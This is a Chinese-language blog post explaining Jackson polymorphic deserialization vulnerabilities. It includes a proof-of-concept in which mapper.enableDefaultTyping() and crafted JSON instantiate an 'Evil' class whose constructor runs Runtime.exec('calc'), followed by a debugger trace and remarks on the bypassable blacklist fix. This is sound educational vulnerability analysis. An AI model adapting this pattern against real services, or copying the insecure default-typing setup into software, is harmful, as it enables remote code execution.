Jackson 反序列化漏洞原理

文章讨论了Jackson库在处理多态反序列化时可能存在的安全问题,当启用DefaultTyping或使用@JsonTypeInfo注解时,如果类的setter或无参构造函数有可利用点,可能导致反序列化攻击。文中提供了一个简单的Demo展示漏洞触发,并指出早期的修复方式是通过黑名单过滤,但这种方法并不完全可靠。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 前言

Jackson 最基础的功能就是将制定的类 序列化 to json,然后json to 序列化的这样一个工具第三方库,正常情况下因为需要执行类进行转换,所以除非是故意留有后门,否则是不会出现问题的。

但是为了处理一个情况,就是处理未知的json转换的时候,需要对多种场景进行处理。于是就有了Jackson多态机制。如:需要处理多个子类的情况。

那么当json中的指定的类的seter或者无参构造方法中存在可利用点的时候,就会造成有效的反序列化攻击。也就是需要找的反序列化调用链。

0x01 Jackson 漏洞触发缘由

Jackson可以两种方式来开放多态,或者换一个说法,当Jackson存在这两种配置的时候,就可以进行反序列化漏洞。

一个是通过DefaultTyping设置,还有一个是通过@JsonTypeInfo 注解。

1.DefaultTyping设置

该设置项存在四个选项。

  • JAVA_LANG_OBJECT 针对Object进行反序列化
  • OBJECT_AND_NON_CONCRETE 针对Object、Interface、AbstractClass
  • NON_CONCRETE_AND_ARRAYS 针对Object、Interface、AbstractClass、Array
  • NON_FINAL 针对除了声明为final之外的属性

如果是默认调用了:mapper.enableDefaultTyping,默认会选择第二个选项。

作为利用而言,只要配置了mapper.enableDefaultTyping就可以进行反序列化利用。

2.@JsonTypeInfo

@JsonTypeInfo注解包含五个配置

在这里插入图片描述

  • NONE 表面意思无
  • CLASS 针对Object @class
  • MINIMAL_CLASS Object缩写@c
  • NAME 指定的一个标识,感觉是忽略了类@type
  • CUSTOM 自定义

我们实际上能利用的就是下面这两种,但是一般这种情况会非常稀少

  • CLASS 针对Object @class
  • MINIMAL_CLASS Object缩写@c

在这里插入图片描述

0x02 反序列化Demo

1.环境:

    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.dataformat</groupId>
            <artifactId>jackson-dataformat-xml</artifactId>
            <version>2.7.9</version>
        </dependency>
    </dependencies>

People

package com;

public class People {
    public Object object;

    public void setObject(Object object) {
        this.object = object;
    }
}

Demo:

package com;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Demo {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();

        String json = "{\"object\":[\"com.Evil\",{\"a\":\"a\"}]}";
        mapper.readValue(json, People.class);
    }
}

Evil

package com;

public class Evil {

    Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

2.反序列化漏洞分析

readValue-_readMapAndClose

当以{的时候就会给一个START_OBJECT的标识
在这里插入图片描述

getDeserializationConfig加载配置:

在这里插入图片描述调用deser.deserialize模块

在这里插入图片描述

顺序执行到:vanillaDeserialize
在这里插入图片描述
this._valueInstantiator.createUsingDefault(ctxt);处调用了输入类的无参构造方法
在这里插入图片描述
然后遍历属性

在这里插入图片描述
跟进到deserialize方法,这里就是针对反序列化进行分流,如果是有标识,也就是我们配置了多态解析,就会进入deserializeWithType,否则会进入deserialize
在这里插入图片描述
看到deserializeWithType,进一步通过deserializeTypedFromAny进行解析
在这里插入图片描述
在_deserialize中获取类名准备进行构建

在这里插入图片描述
接着走vanillaDeserialize,首先调用空构造方法:
在这里插入图片描述
去调用setter方法
在这里插入图片描述

0x03 早期修复方式

在2.7.9.1中,通过黑名单进行过滤:主要黑名单内容如下:

在这里插入图片描述
黑名单的方式进行绕过是迟早的事情。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值